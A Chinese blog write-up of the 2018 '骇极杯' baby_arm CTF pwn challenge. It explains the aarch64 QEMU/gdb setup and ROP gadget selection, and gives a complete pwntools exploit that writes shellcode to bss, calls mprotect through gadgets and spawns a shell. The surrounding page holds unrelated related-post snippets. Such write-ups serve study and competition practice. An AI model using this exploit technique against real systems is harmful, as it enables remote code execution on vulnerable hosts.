2018-骇极杯

buuoj Pwn writeup 246-250 246 pwnable_echo1 结构简单。 功能1 就是个输入输出。但是显然有个栈溢出。 功能2功能3没有。 啥保护没有,就栈溢出就完了。可以直接rop,它开了NX。也可以shellcode。 写shellcode会有两种,一种是布置在栈上,然后在bss上通过jmp esp跳过去,一种是写在bss上,然后直接跳过去,根据可输入大小来自行调节。 exp 247 actf_2019_actfnote 248 骇极杯_2018_babyarm 249 metasequoia_2020_samsara 阅读详情

arm

第一次做arm,花了很多时间,希望整理的详细一点。

环境安装

首先需要安装qemu,和相应的依赖库
qemu

sudo apt-get install qemu

依赖库

sudo apt-get install -y gcc-aarch64-linux-gun g++-aarch64-linux-gnu

合在一起安装不了的话就分开来安装

运行

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

-g 1234:给gdb预留的调试端口1234
-L dir :指向BIOS和VGA BIOS所在目录(一般我们使用”-L .”)

调试

^^^
可以挂到socat上,非常方便

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

^^^
要用gdb远程调试
在这里插入图片描述
需要安装一下gdb-multiarch

题目分析

  1. 检查保护
@ubuntu:~/Documents/comp/haiji/arm$ checksec pwn
[*] '/home/hu/Documents/comp/haiji/arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

并没有什么保护,就是一个简单的栈溢出。
2. 查看主函数
在这里插入图片描述

读两次
第一次先在bss里面存放shellcode
第二次利用rop执行mprotect,使bss有执行权限
3. 找到合适的gadget(用gdb里面rop指令,更全一点)

0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
##将栈上面的值载入到
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3

对arm的栈帧结构研究了一下,这里主要说说它与x64的不同:
在arm中,
1.没有没有$rbp寄存器
2.函数的返回值放在$x30中,bl就等价与x64的call,只不过是它将bl下一条指令放在了$x30中,当遇见ret指令时,将$x30中的值赋给PC。
exp

from pwn import *
context.log_level='debug'
context.binary='./pwn'
p = remote('127.0.0.1',10002)

'''
0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3
'''
bss=0x0411068
p.recvuntil('Name:')
payload=p64(0x4007e0)+p64(0)+asm(shellcraft.aarch64.sh()) #坑点2
#这里为什么要用0x4007e0,而不是0x400600,在后面揭晓
'''
.plt:0000000000400600 .mprotect
.plt:0000000000400600 ADRP            X16, #off_411030@PAGE
.plt:0000000000400604 LDR             X17, [X16,#off_411030@PAGEOFF]
.plt:0000000000400608 ADD             X16, X16, #off_411030@PAGEOFF
.plt:000000000040060C BR              X17     ; mpr
'''
p.sendline(payload)
payload='a'*(0x40+8)
payload+=p64(0x4008cc)
payload+=p64(0)+p64(0x4008ac)# ldp x29, x30, [sp], #0x40   #坑点1
#将0x4008ac写入$x30,当ret时,返回到0x4008ac
payload+=p64(0)+p64(0)#ldp x19, x20, [sp, #0x10]
payload+=p64(bss)+p64(7)#ldp x21, x22, [sp, #0x20]    
#ldr x3, [x21, x19, lsl #3],因为需要寻址一次,所以必须将mprotect的地址放在bss里面
payload+=p64(0x1000)+p64(0x411000)#ldp x23, x24, [sp, #0x30]
payload+=p64(0)+p64(bss+0x10)#坑点3
p.send(payload)
p.interactive()

这里要着重说一说坑点2、3,想了很久才想明白。

执行到 blr x3,将blr x3下一条指令存入$x30(反正就是回不来了>.<),所以我们在这就需要从新控制$x30,也就是到执行完mprotect后,需要继续执行bss+0x10的shellcode。
在这里插入图片描述
利用LDP X29, X30, [SP],#0x10这条指令
在这里插入图片描述
所以最后payload+=p64(0)+p64(bss+0x10)就使得执行完mprotect后程序转到shell code上了

https://xz.aliyun.com/t/3154#toc-7
https://cloud.tencent.com/developer/article/1376383

CTF wp 2018“骇极杯”全国大学生网络安全邀请赛暨第四届上海市大学生网络安全大赛线上赛 writeup 为0x00 签到题操作内容: | 登陆比赛界面上去看到签到题,一般情况下签到题是没有难度的题目给定一串字符MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q Base32 一闪而过,比的就是手速,解码拿到flag。 FLAG 值: 标志{35222d30-439e-4afb-91F4-abebc73fe0... 阅读详情

相关推荐

2018年泰迪杯心得总结--最全的数学建模、数据挖掘的比赛入门

2018年泰迪杯总结——最全的数学建模、数据挖掘比赛入门 期待已久的泰迪杯数据挖掘比赛从3月1日开启到今天4月15日已经结束了,不同于美赛等数学建模比赛,它耗时更长,赛题难度更大,需要处理的数据更加庞大(奖金也超级丰厚hhh)。 笔者通过一个半月的投入、沉浸,收获颇丰,在此记录一番,希望对各位有兴趣参加下年的泰迪杯或相同类型的数学建模、数据挖掘比赛的童鞋们有实质帮助! 一、队友的选择 俗话...

yungeisme的博客 3万+

关于ARM平台上的ROP攻击

最近在研究ROP攻击,看了不少相关的资料,接下来准备在这方面做个专题分享,我将会从下面几个方面着手: 常见的堆栈溢出及攻击原理基于X86的Ret2Lib的实现原理基于ARM的Ret2ZP的实现原理攻击实例分析——攻击序列的构造

简行之旅 5027

泰迪杯数据分析比赛2018年B题解答

泰迪杯数据分析比赛2018年B题解答 任务1 数据处理与分析 任务1.1 任务1.2 任务1.3 结尾

m0_48387613的博客 7599

buuoj Pwn writeup 181-185

181 182 183 184 185

yongbaoii的博客 572

2018年TI杯大学生电子设计竞赛

2018年TI杯大学生电子设计竞赛 目录标题2018年TI杯大学生电子设计竞赛1、A题:电流信号检测装置(本科)-- 2018年TI杯大学生电子设计竞赛2、B题:灭火飞行器(本科)-- 2018年TI杯大学生电子设计竞赛3、C题:无线充电电动小车(本科)–2018年TI杯大学生电子设计竞赛4、D题:手势识别装置 -- 2018年TI杯大学生电子设计竞赛5、E题:变流器负载试验中的能量回馈装置(本科)–2018年TI杯大学生电子设计竞赛6、F题:无线话筒扩音系统(本科)-- 2018年TI杯大学生电子设计竞赛

行走的皮卡丘 1万+

泰迪杯数据分析比赛2018年B题解答-任务2

泰迪杯数据分析比赛2018年B题解答-任务2 任务2-文章目录泰迪杯数据分析比赛2018年B题解答-任务2任务2 数据可视化任务2.1 泰迪杯数据地址:https://www.tipdm.org/bdrace/jljingsai/20181008/1488.html#sHref. 泰迪杯数据分析2018年B题任务2题目: 任务 2.1 绘制 2017 年 6 月销量前 5 的商品销量柱状图。 任务 2.2 绘制每台售货机每月总交易额折线图及交易额月环比增长率柱 状图。 任务 2.3 绘制每台售货机毛利润占

m0_48387613的博客 1万+

2018年“骇极杯” web3 GOOD JOB writeup 两种解法

0x01 贴出源码 <?php //error_reporting(0); //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']); $dir=md5("icq"); $sandbox = '/var/sandbox/' . $dir; @mkdir($sandbox); @chdir($sandbox); ...

a3320315的博客 880

2018年"华为杯"数学建模获奖名单挖掘分析

本文针对2018年&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;华为杯&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;a

jp_zhou256的博客 1万+

2018上海CTF“骇极杯” What’s_it

从这道题中学到了很多东西-------- 我当时和一个朋友抱怨 有没有有难度的题 而且还有wp的  因为 没有wp 做了好多天都没有结果 还没有答案是一件非常难受的事  本来这个题 我想用ida的idc 或者 python来解题的 但是 后来发现。。。。。 不会 很尴尬 还拿了书 结果 看是能看懂 但是根本就没有办法 怎么说 让问题简单化  用python 我百度了一下 发现还是要调用c语言...

qq_41071646的博客 821

2018上海CTF“骇极杯”逆向WP

2018上海CTF“骇极杯”逆向WP2018上海CTF“骇极杯”逆向WP

shanghai2018_baby_arm

arm64架构的pwn题

骇极杯_2018_momo_server(条件竞争UAF)

骇极杯_2018_momo_server(条件竞争UAF) 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 Count功能开启了一个线程 该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。 结尾会将ptr指针清零 在add函数中,如果name已存在,那么仅更新count和flag。 因此,我们在ptr[i]被清零之前,通过add更新count和flag,这样,name就会被二

seaaseesa的博客 1139

告别混乱!在Unity中为Best MQTT v3设计清晰的服务层:配置、连接、订阅发布模块拆分指南

本文详细介绍了如何在Unity中使用Best MQTT v3插件构建清晰的服务层架构,包括配置管理、连接服务、订阅管理和发布服务的模块化拆分。通过解耦设计、事件驱动和接口抽象,提升代码可维护性和可测试性,适用于物联网和实时通信开发场景。

weixin_30576827的博客 358

2018骇极杯[cyvm]

ida加载 一个switch case。套用大佬的一句话“while循环套switch,不是迷宫就是vm” 这里是vm,第一次做vm的题目。简单说一下vm是什么。 vm其实就是自己定义了一下程序的机器码,比如这里用0x01来表示mov这两个参数,然后用数组来模拟寄存器,栈。在这个题里面vm的数据段和代码放到了一起。 简单跟了一下 ennnn有点不太好懂,贴出官方的步骤 最后一位是原来的值,...

九层台 550

PostgreSQL数据库全攻略:从入门到精通

本文是一份PostgreSQL数据库综合指南,涵盖安装配置、基础操作和高级管理。主要内容包括:1) PostgreSQL简介与各平台安装方法;2) 数据库基本操作,如创建数据库/表、CRUD操作、用户权限管理;3) 高级功能包括索引优化、事务控制、视图、存储过程、触发器和扩展模块;4) 数据库管理维护,涉及配置调优、备份恢复、性能监控和日常维护;5) 安全设置与高可用方案。指南提供了从入门到进阶的实用知识,强调结合官方文档进行深入学习,帮助用户高效使用这一功能强大的开源关系型数据库系统。

索大神的博客 1970

FDTD超表面仿真详细教程,几何相位,共振相位,传播相位

FDTD的超表面主要几何相位型(PB型)和共振型两种类型,其中PB型每个cell中的纳米棒的长宽相同,旋转角度不同,共振型长宽不同,旋转角度相同。本博文中以最常见的长方形纳米棒为例,用FDTD演示两种超表面实现的聚焦透镜的功能,包含详细步骤,其他形状,材料的超表面可自行尝试。

wuyuerhhg的博客 3万+

2018.11.4 东华杯(骇极) REVERSE What's it wp

What 打开先要求输入luck string,拖进ida看,输入的必须是长度为6的英文小写。之后对输入的数据取md5,然后遍历生成的MD5串,统计其中0的个数v15和下标总和v14,当满足10*v15+v14 == 403的时候为有效输入。这个题目的亮点在于打开decode函数的时候,有这么一个提示 然后结合着汇编看c代码,然偶看到了check,找check函数,发现 看出来这里是...

uiop_uiop_uiop的博客 521

Ubuntu22.04下安装LDAP

在Ubuntu22.04的时候可以使用apt的方式来安装,在安装LDAP的web 服务器的时候可以考虑选择 LDAP 帐户管理器 (LAM)。因为 PHPLDAPadmin 安装时需要 php 的环境依赖,相对来说安装麻烦。此外在 PHPLDAPadmin 中创建组织和用户时与平常的语法有很大不同,对新手来说不友好。

dl_11的博客 3944

[护网杯 2018]easy_tornado

[护网杯 2018]easy_tornado 为了不拖后腿疯狂刷题,hhh 1.打开网站发现三个txt文件: 2.第一个文件提示flag in /fllllllllllllag 3.第二个文件不知道render是啥,百度翻译= =哈哈 4.第三个文件说了文件名的哈希方法: 5.还不能忘记题目的提示,查一下tornado是什么,所以可能是python模板注入了? 6.先直接访问和在参...

qq_43622442的博客 4217

FPGA新手必看:Create HDL Wrapper和Generating Output Products到底该先用哪个?

本文深入解析了FPGA设计中Create HDL Wrapper与Generating Output Products的正确使用顺序,帮助新手避免常见错误。详细介绍了两者的功能差异、执行顺序的底层逻辑以及工程管理的最佳实践,特别适合使用Vivado进行FPGA开发的初学者。

xk7n92h3p5m的博客 1065

BGP路由聚合:自动聚合和手动聚合

路由聚合是指将多条具体的路由合并为一条聚合路由,以减少路由表的条目数。这种技术通过只向对等体发送聚合后的路由,而不发送所有的具体路由,来减小路由表的规模。同时,被聚合的路由如果发生路由振荡,也不再对网络造成影响,从而提高了网络的稳定性。

网络技术联盟站 1220

2018美亚杯个人赛刷题

文章目录写在前面题目1.E2.C3.B -D-4.C -E-5.C6. D7.D8. A9.A10.C11.E12.D13.D14.A15.D16.E17.D18.A19. B20.C21.E22.D23.A24.C25.C26.D27.D28.C29.D30.D31.C32.E33.D34.B -C-35. -E-36.A37.A38.D39.D -C-40.B41.C42.E -D-43.C44.B45.A46.C47.E48.B49.D50.CPS 写在前面 这是美亚杯2018个人赛的个人

7ruth0hn的博客 6309

Codex 调试记录获取完全指南:日志查看、工具调用与实战排查教程

本文主要介绍了Codex 调试记录获取完全指南:日志查看、工具调用与实战排查教程,希望能对使用Codex的同学们有所帮助。 文章目录 1. 背景 2. 实战教程

weixin_43178406的博客 6万+

[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook 1.打开网站,就两个功能点 2.先打开join看一下,注册页面,随便输入,注册一下: 3.发现登陆进来了:(这里有个坑,注册完了之后就不能回退,去测试之前的login页面了,不过可以直接输入login.php回去测试) 4.发现dawn是个url,点击看一下:(这里我也傻了,我一开始傻里傻气的在username插了个xss,结果没看到这个超链接,在源代码...

qq_43622442的博客 4434

ccSwitch 安装使用指南,claude code的最佳搭档

ccSwitch 是一款真正为 AI 编程开发者打造的效率工具。它把原本繁琐的配置管理工作,简化成了直观的图形界面操作。无论你是需要在多个 API 提供商之间切换,还是想要统一管理多款 AI 编程工具,ccSwitch 都能帮你大幅提升效率。如果你是重度 AI 编程工具用户,强烈推荐尝试一下 ccSwitch,相信它会成为你开发工具箱中不可或缺的一员。项目地址。

篮球界最会写bug的人;程序猿中打球最菜的人。 1288

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

上一篇: ret2syscall
下一篇: 任务5
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值